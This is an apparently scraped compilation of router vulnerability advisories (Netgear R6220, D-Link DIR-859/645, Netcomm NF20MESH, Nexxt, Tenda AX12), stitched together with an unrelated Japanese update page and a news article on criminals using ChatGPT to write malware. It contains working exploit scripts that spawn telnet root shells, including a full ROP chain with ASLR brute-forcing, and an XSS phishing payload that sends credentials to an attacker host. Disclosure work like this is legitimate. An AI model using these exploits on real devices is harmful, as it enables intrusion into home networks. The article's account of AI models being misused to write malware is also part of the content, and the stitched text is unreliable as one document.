The web interface of the 'Nighthawk R6220 AC1200 Smart Wi-Fi Router' is vulnerable to a CRLF Injection attack that can be leveraged to perform Reflected XSS and HTML Injection. A malicious unauthenticated attacker can exploit this vulnerability using a specially crafted URL. This affects firmware versions: V1.1.0.112_1.0.1, V1.1.0.114_1.0.1.

**Response Splitting via CRLF****Description**

CRLF (Carriage Return Line Feed) Injection CWE-93: https://cwe.mitre.org/data/definitions/93.html

Response splitting via Carriage Return Line Feed (CRLF) is a vulnerability that exploits the way HTTP headers parse certain characters such as \\rand \\n. Appending these characters to HTTP headers can allow the insertion of payloads into a header which can result in the manipulation of cookies, server information, and status codes.

Type: Unauthenticated Remote attack

Tested on firmware version: V1.1.0.112\_1.0.1, V1.1.0.114\_1.0.1

**Details**

The web interface of the 'Nighthawk R6220 AC1200 Smart Wi-Fi Router' is vulnerable to a CRLF Injection attack that can be leveraged to perform Reflected XSS and HTML Injection.

This issue affects the custom 404 page that is served when a request is issued for a page that does not exist. By leveraging this vulnerability, an unauthenticated remote attacker is able to inject arbitrary HTML and JavaScript code to be executed in a user's browser.

**Impact**

A malicious attacker can exploit this vulnerability using a specially crafted URL. If this URL is opened by an administrator, the attacker can achieve the following:

1.  Perform actions on the administrative portion of the web application Example payload that enables the debug telnet interface: https://192.168.1.1/666%0A%0A%3Cscript%3Edocument.location=%22https://192.168.1.1/setup.cgi?todo=debug%22;%3C/script%3E
    
2.  Obtain the administrator's credentials through phishing Example phishing payload: https://192.168.1.1/123%0A%0A%3Cscript>var name=prompt("Username");var pass=prompt("Password");document.location="http://attacker.server/?user="+name+"?pass="+pass;</script>
    

Note that if another vulnerability is presented in the administrative portal such as a Remote Command Execution (RCE), an attacker can use a specially crafted URL and chain the two vulnerabilities to create a one-click exploit.

**Evidence**

The request consists of a resource that does not exist ("xsstesty") followed by Line-Feed characters (%0A%0A) and the JavaScript payload.

Request

    GET /xsstesty%0A%0A%3Cscript%3Ealert('xss');%3C/script%3E 
    Host: 192.168.1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Cookie: sessionid=sid17289xxx158005xxx1087458037
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: none
    Sec-Fetch-User: ?1
    

Note that the HTTP response headers are embedded directly into the 404 page response body and the payload is executed on the victim's browser.

Response Body

    <script>alert('xss');</script> HTTP/1.1 404 Not Found
    Server: 
    Date: Fri, 02 Jan 1970 02:44:27 GMT
    Content-Type: text/html
    P3P: 443
    X-Frame-Options: SAMEORIGIN
    X-XSS-Protection: 1;mode=block
    X-Content-Type-Options: nosniff
    Connection: close
    
            <HTML>
            <HEAD><TITLE>404 Not Found</TITLE></HEAD>
            <BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc">
            <H4>404 Not Found</H4>
    File not found.
    </BODY>
    </HTML>
    

**Remediation**

Sanitize and neutralize all user-supplied data or properly encode output in HTTP headers that would otherwise be visible to users in order to prevent the injection of CRLF sequences and their consequences.

CVE-2022-47052: NETGEAR/CVE-2022-47052 at main · dest-3/NETGEAR

SAUTER Controls Nova 200–220 Series with firmware version 3.3-006 and prior and BACnetstac version 4.2.1 and prior allows the execution of commands without credentials. As Telnet and file transfer protocol (FTP) are the only protocols available for device management, an unauthorized user could access the system and modify the device configuration, which could result in the unauthorized user executing unrestricted malicious commands.

CVE-2023-0052

D-Link DIR-859 A1 1.05 was discovered to contain a command injection vulnerability via the service= variable in the soapcgi_main function.

**D-Link DIR-859 Command Execution Vulnerability**

**Vender**: D-Link

**Firmware version**: DIR 859A1 1.05

**Exploit Author**: Insight

**Vendor Homepage**: http: //www.dlink.com.cn/

**Detailed description**

This vulnerability exists in the soapcgi\_main function of the cgibin program. v11 is the content behind the request\_uri environment variable service=, which has been filtered, but the filtering is not rigorous.

Format v11 to byte\_434EF0, and execute system, resulting in command execution.

**POC**

from socket import \*
from os import \*
from time import \*
 
request \= b"POST /soap.cgi?service=&&telnetd -p 8888&& HTTP/1.1\\r\\n"
request += b"Host: localhost:49152\\r\\n"
request += b"Content-Type: text/xml\\r\\n"
request += b"Content-Length: 88\\r\\n"
request += b"SOAPAction: a#b\\r\\n\\r\\n"
 
s \= socket(AF\_INET, SOCK\_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
 
sleep(1)
system('telnet 192.168.0.1 8888')

CVE-2022-46476: iot/dir859 Command Execution Vulnerability.md at main · Insight8991/iot

D-Link DIR 645A1 1.06B01_Beta01 was discovered to contain a stack overflow via the service= variable in the genacgi_main function.

**D-Link DIR-645 genacgi Stack Overflow**

**Vender**: D-Link

**Firmware version**: DIR 645A1 1.06B01\_Beta01

**Exploit Author**: Insight

**Vendor Homepage**: http: //www.dlink.com.cn/

**Detailed description**

This vulnerability exists in the genacgi\_main function in the cgibin program. v28 is the content behind request\_uri "service=". When the request is unsubscribe, sprintf formats it on the stack, causing a stack overflow.

**POC**

\# python3
from pwn import \*
from socket import \*
from os import \*
from time import \*
context(os \= 'linux', arch \= 'mips')
 
libc\_base \= 0x2aaf8000
 
s \= socket(AF\_INET, SOCK\_STREAM)
 
cmd \= b'telnetd -p 9999 -l /bin/sh;'
payload \= b'a'\*462
payload += p32(libc\_base + 0x53200 \- 1) \# s0  system\_addr - 1
payload += p32(libc\_base + 0x169C4) \# s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'\*4 \# fp
payload += p32(libc\_base + 0x32A98) \# ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'\*0x18 \# padding
payload += cmd
 
msg \= b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\\r\\n"
msg += b"Host: localhost:49152\\r\\n"
msg += b"SID: 1\\r\\n\\r\\n"
 
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(msg)

sleep(1)
system('telnet 192.168.0.1 9999')

CVE-2022-46475: iot/DIR-645 genacgi Stack overflow.md at main · Insight8991/iot

Hidden functionality vulnerability in PIX-RT100 versions RT100_TEQ_2.1.1_EQ101 and RT100_TEQ_2.1.2_EQ101 allows a network-adjacent attacker to access the product via undocumented Telnet or SSH services.

下記の手順に従って、アップデートを行ってください。

**アップデート履歴・詳細**

2023年1月12日 \[ Ver.RT100\_TEQ\_2.1.3\_EQ101 \]

*   NAT Typeの選択機能を追加しました。  
    ※NAT Typeの設定で、一部のネットワーク対戦ゲームが接続できない問題が解決する場合があります。
*   その他、軽微な不具合を修正しました。

**PIX-RT100をアップデートする**

**設定画面にログインする**

任意のWebブラウザを起動し「http://192.168.1.1」を入力します。

かんたん接続カード（別紙）のユーザーIDとログインパスワードを入力し、\[ログイン\]を選びます。

**アップデートページを表示する**

ページ上部のメニューから\[設定\]を選択し、左のリストから\[管理\] - \[ソフトウェアアップデート\]を選択します。

**アップデートする**

「アップデートを確認」ボタンをクリックするとアップデートが開始されます。

※アップデート中は本体の電源を切らないで下さい。  
※アップデート後、自動的に本体が再起動します。再起動中はLTE通信をお使いいただけませんのでご注意ください。

*   ホーム
*   製品情報
*   LTE対応 USBドングル PIX-RT100
*   アップデート手順

※仕様および外観は、性能向上その他の理由で、予告なく変更する場合があります。  
※記載されている各種名称、会社名、商品名などは各社の商標もしくは登録商標です。  
※画面、機能説明写真はイメージです。

CVE-2023-22316: LTE対応 SIMフリーホームルーター(PIX-RT100) - アップデート | 株式会社ピクセラ

Authentication bypass in Netcomm router models NF20MESH, NF20, and NL1902 allows an unauthenticated user to access content. In order to serve static content, the application performs a check for the existence of specific characters in the URL (.css, .png etc). If it exists, it performs a "fake login" to give the request an active session to load the file and not redirect to the login page.

**Netcomm - Unauthenticated Remote Code Execution**

*   CVE-2022-4873
*   CVE-2022-4874

**Affected Devices:**

Research performed against the NF20MESH router revealed an unauthenticated remote code execution vulnerability that affects devices running firmware prior to version R6B025. The following devices have been confirmed by the vendor to be vulnerable:

*   NF20
*   NF20MESH
*   NL1902

It's possible that other devices may also be affected.

**Overview**

Netcomm produce routers for residential and small business use. At the time of writing, the Netcomm NF20Mesh router is currently recommended by Aussie Broadband when signing up for a new service with the number other Australian service providers and vendors starting to offer Netcomm routers.

Noticing that a new model had been released, I had to know if a previous 0day of mine still worked against it. Aftering promptly ordering the new model, I was quickly saddened to see that two of my bugs didn't work.

Reading through the firmware release notes, it didn't appear that my previous bugs had been found, so I was curious to know why it didn't affect it. As I was stepping through each part of the exploit chain, I noticed that some of the previous functionality I had previously abused to land my original shell had now been retired or removed.

I wanted to try and find another RCE, so I downloaded the latest firmware to try and pull out the filesystem. Unfortunately, all of the newer firmware releases were now provided in an encrypted format.

**Initial Shell**

Not having the luxury of simply running binwalk to pull out the filesystem like I did last time, I started looking for an alternative method to gain access to the device's file system. I spent a fair bit of time trying to black box the web server, looking for ping utilities and other pages that might be shelling out for command injection bugs, arbitrary file reads that could leak file contents etc.

Failing to find any obvious low hanging vulnerabilities, I decided to try and get onto the board by soldering to a UART interface:

Turning the device on, I could see the bootup process happening through the console where eventually I was asked to login. Logging into the device however dropped me into the same telnet shell which I was unable to escape out of:

Restarting the device, I interupted the boot process and added an extra kernel boot parameter:

Continuing the boot process with the r command, I was able to drop into a local shell via serial:

Finally, running the startup commands in /etc/inittab brought all the services up, allowing me to take files off the device with netcat.

**Vulnerabilities**

Having local shell access now allowed me to start looking for vulnerabilities resulting an authentication bypass and a stack-based buffer overflow to achieve unauthenticated remote code execution.

****1\. Authentication Bypasss (CVE-2022-4874):****

While reverse engineering the httpd binary, I noticed the application was performing checks against the request file extensions using the strstr() function.

If you're unfamiliar with the strstr function in C, strstr finds the first occurrence of a word/character within a string. Rather than checking if the file in the path ends with .css, .png etc, it's only checking if the presence of these values in the path are there:

After this check, and additional check is performed to ensuring that a referer is set:

If both these checks pass, the do_ej function then processes the requested file:

Playing around with the strstr() function, I was able to trick the application into thinking I was authenticated by fetching a restricted page that was prefxied with /.css/ in front of it. The strstr check passes, and then processes the request:

I'm not 100% sure as to why the extension check was written this way, but I think this is a work around for serving static content while putting everything behind authentication. In order to serve a background image for the login page, it sets the request as being in an authenticated state to be able to successfully fetch the resource.

Additionally, I noticed there is a strange unauthenticated /twgjtelnetopen.cmd route which, while returning a 404 error page, is opening up the telnet service:

Perhaps some kind of debug/tech support endpoint?

****2\. Buffer Overflow (CVE-2022-4873):****

The second step was trying to find an alternative method for getting code execution on the device.

Using checksec, I could see the httpd binary had been compiled with a non-executable stack (NX), however other exploit mitigations had not been enabled:

    gdb-peda$ checksec
    Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
    Use 'set logging enabled off'.
    
    Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
    Use 'set logging enabled on'.
    
    CANARY    : disabled
    FORTIFY   : disabled
    NX        : ENABLED
    PIE       : disabled
    RELRO     : Partial
    

I looked for cross-references to any system() calls that I might be able to hit, however was unable to find anything that looked injectable. I then looked for any cases of dangerous functions being used that might be exploitable. Fortunately, I was able to find quite a few instances of strcpy being used:

Given the number of strcpy references in the application, I wrote a small python script to starting fuzzing parameters to see if we could trigger any bugs while I performed a deeper analysis of the binary itself. After running the fuzzer, I quickly saw the following crash on my UART console:

    task: cdd0dc00 ti: caca0000 task.ti: caca0000
    PC is at 0x41414140
    LR is at 0x29218
    pc : [<41414140>]    lr : [<00029218>]    psr: 60070010
    sp : bee158c0  ip : 00000000  fp : 41414141
    r10: 41414141  r9 : 41414141  r8 : 00000000
    r7 : 41414141  r6 : 41414141  r5 : 41414141  r4 : 41414141
    r3 : 00000000  r2 : 00000000  r1 : 00000000  r0 : 00000001
    [...]
    

I could also see that I had full control over the r4, r5, r6, r7, r10 and fp registers at the time of the crash. But, most importantly, I had full control over the PC register. Unfortunately with the NX stack protections enabled, I would need to build a ROP chain in order to get a shell.

Looking through the crash I noticed another issue. The memory pages for the binary were being loaded into address ranges containing null bytes:

    Call Process maps
    00010000-0009f000 r-xp 00000000 fe:00 742        /bin/httpd
    000ae000-000af000 r--p 0008e000 fe:00 742        /bin/httpd
    000af000-000b5000 rw-p 0008f000 fe:00 742        /bin/httpd
    [...]
    

This was a problem. Even though the application itself wasn't compiled with ASLR protection, I couldn't use any gadgets in it because the presence of a null byte would terminate the payload early. All the other libraries used by the application were using the system's ASLR, which meant I was going to have to tackle the address randomization of the functions in libraries being used.

To help with getting a working exploit, I turned ASLR off on the router by running the following command:

    echo 0 > /proc/sys/kernel/randomize_va_space
    

This provided a more stable environment to help with debugging the ROP chain by not having addresses changing on me while getting it to work. After getting an exploit working with ASLR turned off, I had to now go back and get it working with it enabled. Fortunately during the debugging process of the current exploit, I noticed that the main application wasn't actually crashing. Instead, it was actually forking out a httpd service which processed the request and was crashing. Additionally, the number of bytes in the address range changing was brute forceable. I grabbed the base address of libc from a crash and calcuated where the addresses to functions would be.

Because the main process wasn't dying, I could keep issuing the same request in an infinite loop and see if I got lucky with libc being loaded again at the hardcoded base address by connecting to the telnet service:

**Exploit / TL;DR:**

If you're really unlucky, it can take up to 10-15 minutes for the exploit to finally get a hit on libc's base address. I've found on average though that somewhere between 3-5 minutes seems to be the sweet spot.

#!/usr/bin/python3
"""
Netcomm NF20MESH Unauthenticated RCE
Author: Brendan Scarvell
Vulnerable versions: <= R6B021
A stack based buffer overflow exists in the sessionKey query string parameter. An authentication bypass
was also discovered by providing /.css/ in the request path. Chaining both of the two bugs together
results in unauthenticated remote code execution.
The exploit can take up to 5-10 minutes until it gets lucky and hits the right base address for libc.
"""

import requests, telnetlib, sys, time

"""
task: cdd0dc00 ti: caca0000 task.ti: caca0000
PC is at 0x444444
LR is at 0x29218
pc : \[<00444444>\]    lr : \[<00029218>\]    psr: 60070010
sp : bee158c0  ip : 00000000  fp : 41414141
r10: 41414141  r9 : 41414141  r8 : 00000000
r7 : 41414141  r6 : 41414141  r5 : 41414141  r4 : 41414141
r3 : 00000000  r2 : 00000000  r1 : 00000000  r0 : 00000001
"""

TARGET \= "192.168.20.1"

MAX\_BUF\_SIZE \= 4140

libc\_system         \= b"%6C%89%a2%b6"   \# 0xb6a2896c

\# Gadgets
big\_pop             \= b"%40%2b%65%b6"   \# 0xb6652b40 (0x00079b40) : mov r0, r1; pop {r4, r5, r6, r7, pc};
add\_r1\_sp\_blx\_r5    \= b"%6c%79%6d%b6"   \# 0xb66d796c (0x000fe96c) : add r1, sp, #0x14; blx r5;
mov\_r0\_r1\_blx\_r3    \= b"%cc%d0%64%b6"   \# 0xb664d0cc (0x000740cc) : mov r0, r1; blx r3;
mov\_r4\_r3\_pop\_r4\_pc \= b"%7c%98%65%b6"   \# 0xb665987c mov r3, r4; mov r0, r3; pop {r4, pc}; 

\# pewpew
buf  \= b"A" \* 4096
buf += big\_pop              \# r3 => pop system() into PC
buf += mov\_r0\_r1\_blx\_r3     \# r5 => mov r1 into r0, blx to r3 to continue chain (big\_pop ^)
buf += b"B" \* ((MAX\_BUF\_SIZE \- len(buf)))                  
buf += mov\_r4\_r3\_pop\_r4\_pc  \# move r4 into r3 to continue rop chain
buf += b"CCCC"              
buf += add\_r1\_sp\_blx\_r5     \# push sp to point at command and save in r1
buf += b"D" \* 16            
buf += libc\_system          \# executed last after r0 populated
buf += b""
buf += b"sh%20-c%20%22/bin/busybox%20telnetd%20-l%20/bin/sh%20-p%2031337%22%23"     

print(f"\[\*\] payload length: {len(buf)}")

buf \= buf.decode("latin1")

\# Referer header is required in the request
headers \= {
    "Referer": f"http://{TARGET}/login.html" 
}

print("\[\*\] bruteforcing aslr. this could take a while..")

pwned \= False

\# keep repeating until the base address for libc is 0xb65d9000, allowing the gadgets + system() line up correctly

while not pwned:
    try:
        r \= requests.get(f"http://{TARGET}/.css/rtroutecfg.cgi?defaultGatewayList=ppp0.3&dfltGw6Ifc=&sessionKey={buf}", timeout\=5, headers\=headers)

    except requests.exceptions.ConnectionError:
        \# successful exploitation hangs connection. Capture timeout so we dont hang forever
        print("\\n\[\*\] got hit on libc @ 0xb65d9000")
    
    try:
        tn \= telnetlib.Telnet(TARGET, 31337)
        if (tn):
            pwned \= True
            print("\[\*\] popping shell")
            time.sleep(2)
            tn.interact()
    except:
        sys.stdout.write(".")
        sys.stdout.flush()

**Timeline**

*   16/10/22 - Requested security contact to report details to.
*   17/10/22 - Netcomm responded advising to send details in ticket to forward to engineering. Advised Netcomm of 60 day disclosure period.
*   01/11/22 - Netcomm provided updated firmware to verify patch. Advised Netcomm patch was incomplete.
*   08/11/22 - Netcomm provided another updated firmware to verify patch. Advised Netcomm issues appeared to be resolved.
*   18/11/22 - Netcomm released firmware (R6B021) with the fix to public. CVE requested through MITRE.
*   03/12/22 - Requested update from MITRE for CVE.
*   16/12/22 - Requested another update from MITRE regarding CVE.
*   27/12/22 - Advisory disclosed. CVE still pending.
*   04/01/23 - CVE-2022-4873 and CVE-2022-4874 assigned to bugs.

CVE-2022-4874: advisories/2022_netcomm_nf20mesh_unauth_rce.md at main · scarvell/advisories

The AI-based chatbot is allowing bad actors with absolutely no coding experience to develop malware.

Since OpenAI released ChatGPT in late November, many security experts have predicted it would only be a matter of time before cybercriminals began using the AI chatbot for writing malware and enabling other nefarious activities. Just weeks later, it looks like that time is already here.

In fact, researchers at Check Point Research (CPR) have reported spotting at least three instances where black hat hackers demonstrated, in underground forums, how they had leveraged ChatGPT's AI-smarts for malicious purposes.

By way of background, ChatGPT is an AI-powered prototype chatbot designed to help in a wide range of use cases, including code development and debugging. One of its main attractions is the ability for users to interact with the chatbot in a conversational manner and get assistance on everything from writing software to understanding complex topics, writing essays and emails, improving customer service, and testing different business or market scenarios.

But it can also be used for darker purposes.

**From Writing Malware to Creating a Dark Web Marketplace**

In one instance, a malware author disclosed in a forum used by other cybercriminals how he was experimenting with ChatGPT to see if he could recreate known malware strains and techniques.

As one example of his effort, the individual shared the code for a Python-based information stealer he developed using ChatGPT that can search for, copy, and exfiltrate 12 common file types, such as Office documents, PDFs, and images from an infected system. The same malware author also showed how he had used ChatGPT to write Java code for downloading the PuTTY SSH and telnet client, and running it covertly on a system via PowerShell.

On Dec. 21, a threat actor using the handle USDoD posted a Python script he generated with the chatbot for encrypting and decrypting data using the Blowfish and Twofish cryptographic algorithms. CPR researchers found that though the code could be used for entirely benign purposes, a threat actor could easily tweak it so it would run on a system without any user interaction — making it ransomware in the process. Unlike the author of the information stealer, USDoD appeared to have very limited technical skills and in fact claimed that the Python script he generated with ChatGPT was the very first script he had ever created, CPR said.

In the third instance, CPR researchers found a cybercriminal discussing how he had used ChatGPT to create an entirely automated Dark Web marketplace for trading stolen bank account and payment card data, malware tools, drugs, ammunition, and a variety of other illicit goods.

"To illustrate how to use ChatGPT for these purposes, the cybercriminal published a piece of code that uses third-party API to get up-to-date cryptocurrency (Monero, Bitcoin, and \[Ethereum\]) prices as part of the Dark Web market payment system," the security vendor noted.

**No Experience Needed**

Concerns over threat actors abusing ChatGPT have been rife ever since OpenAI released the AI tool in November, with many security researchers perceive the chatbot as significantly lowering the bar for writing malware.

Sergey Shykevich, threat intelligence group manager at Check Point, reiterates that with ChatGPT, a malicious actor needs to have no coding experience to write malware: "You should just know what functionality the malware — or any program — should have. ChatGTP will write the code for you that will execute the required functionality."

Thus, "the short-term concern is definitely about ChatGPT allowing low-skilled cybercriminals to develop malware," Shykevich says. "In the longer term, I assume that also more sophisticated cybercriminals will adopt ChatGPT to improve the efficiency of their activity, or to address different gaps they may have."

From an attacker’s perspective, code-generating AI systems allow malicious actors to easily bridge any skills gap they might have by serving as a sort of translator between languages, added Brad Hong, customer success manager at Horizon3ai. Such tools provide an on-demand means of creating templates of code relevant to an attacker's objectives and cuts down on the need for them to search through developer sites such as Stack Overflow and Git, Hong said in an emailed statement to Dark Reading.

Even prior to its discovery of threat actors abusing ChatGPT, Check Point — like some other security vendors — showed how adversaries could leverage the chatbot in malicious activities. In a Dec. 19 blog, the security vendor described how its researchers created a very plausible-sounding phishing email merely by asking ChatGPT to write one that appears to come from a fictional webhosting service. The researchers also demonstrated how they got ChatGPT to write VBS code they could paste into an Excel workbook for downloading an executable from a remote URL.

The goal of the exercise was to demonstrate how attackers could abuse artificial intelligence models such as ChatGPT to create a full infection chain right from the initial spear-phishing email to running a reverse shell on affected systems.

**Making It Harder for Cybercriminals**

OpenAI and other developers of similar tools have put in filters and controls — and are constantly improving them — to try to limit misuse of their technologies. And at least for the moment, the AI tools remain glitchy and prone to what many researchers have described as flat-out mistakes on occasion, which could thwart some malicious efforts. Even so, the potential for misuse of these technologies remains large over the long term, many have predicted.

To make it harder for criminals to misuse the technologies, developers will need to train and improve their AI engines to identify requests that can be used in a malicious way, Shykevich says. The other option is to implement authentication and authorization requirements in order to use the OpenAI engine, he says. Even something similar to what online financial institutions and payment systems currently use would be sufficient, he notes.

Attackers Are Already Exploiting ChatGPT to Write Malicious Code

The web service on Nexxt Amp300 ARN02304U8 42.103.1.5095 devices allows remote OS command execution by placing &telnetd in the JSON host field to the ping feature of the goform/sysTools component. Authentication is required.

    # Exploit Title: Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated)# Date: 19/10/2022# Exploit Author: Yerodin Richards# Vendor Homepage: https://www.nexxtsolutions.com/# Version: 42.103.1.5095# Tested on: ARN02304U8# CVE : CVE-2022-44149import requestsimport base64router_host = "http://192.168.1.1"username = "admin"password = "admin"def main():    send_payload("&telnetd")    print("connect to router using: `telnet "+router_host.split("//")[1]+ "` using known credentials")    passdef gen_header(u, p):    return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")def send_payload(payload):    url = router_host+"/goform/sysTools"    headers = {"Authorization": "Basic {}".format(gen_header(username, password))}    params = {"tool":"0", "pingCount":"4", "host": payload, "sumbit": "OK"}    requests.post(url, headers=headers, data=params)if __name__ == '__main__':    main()

CVE-2022-44149: Nexxt Router Firmware 42.103.1.5095 Remote Code Execution ≈ Packet Storm

There is an unauthorized buffer overflow vulnerability in Tenda AX12 v22.03.01.21 _ cn. This vulnerability can cause the web service not to restart or even execute arbitrary code. It is a different vulnerability from CVE-2022-2414.

**Tenda AX12 unauthorized Buffer overflow vulnerability****Overview**

*   Manufacturer's website information：https://www.tenda.com.cn/
*   Firmware download address ：https://www.tenda.com.cn/download/detail-3237.html

**Vulnerability information**

There is an unauthorized buffer overflow vulnerability in tenda ax12v22.03.01.21 \_ cn, which can cause httpd to crash. Using this vulnerability can cause the web service not to restart or even execute arbitrary code. It is a different vulnerability from CVE-2022-2414.

**Affected version**

Figure shows the latest firmware ：V22.03.01.21\_cn of the router

**Vulnerability details**

open telnet http://192.168.0.1/goform/telnet telnet admin/password is root/ Fireitup

using ida to analysis httpd, in function sub\_4335C0, the corresponding function field is fast\_setting\_wifi\_set.

The program passes the contents obtained by the ssid parameter to V2 Then, format the matching content of V2 through the sprintf function into V19. There is no size check, so there is a vulnerability that can cause buffer overflow through ssid field.

**Vulnerability exploitation condition**

However, there are certain utilization conditions here, and it can be found in the function sub\_417D94 that the field fast\_setting\_wifi\_set will be checked.

The corresponding function of fast\_setting\_wifi\_set is to initialize the network function when the device is started, and this function can only be triggered when the device is started initially or after reset. The data packet sent with this function during the normal operation of the device will not be processed, because it is filtered by the function in the above figure.

When the device is initially started, the web password is empty, so it can be used without authorization.

The functional data packets are as follows, and we will use this to construct poc.

POST /goform/fast\_setting\_wifi\_set HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: \*/\*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 111
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/index.html

ssid=Tenda\_FDDE58&wrlPassword=mima1234&power=high&timeZone=%2B08%3A00&loginPwd=70ebc4f9c9d22827a5874d1bb6f06abd

**Recurring vulnerabilities and POC**

In order to reproduce the vulnerability, the following steps can be followed:

1.  Connect physical devices
2.  Attack with the following POC

The reproduction results are as follows:

Figure shows POC attack effect, the binary httpd restarts.

Running exp without logging in can also attack, and several more attacks will cause httpd to restart all the time.

Finally, through observation, we found that httpd will not restart after several attacks.

**CVE-ID**

unsigned

CVE-2022-45995: public_bug/tenda/ax12/1 at main · bugfinder0/public_bug

Nexxt Router Firmware version 42.103.1.5095 authenticated remote code execution exploit that enables telnetd.

Tag

#telnet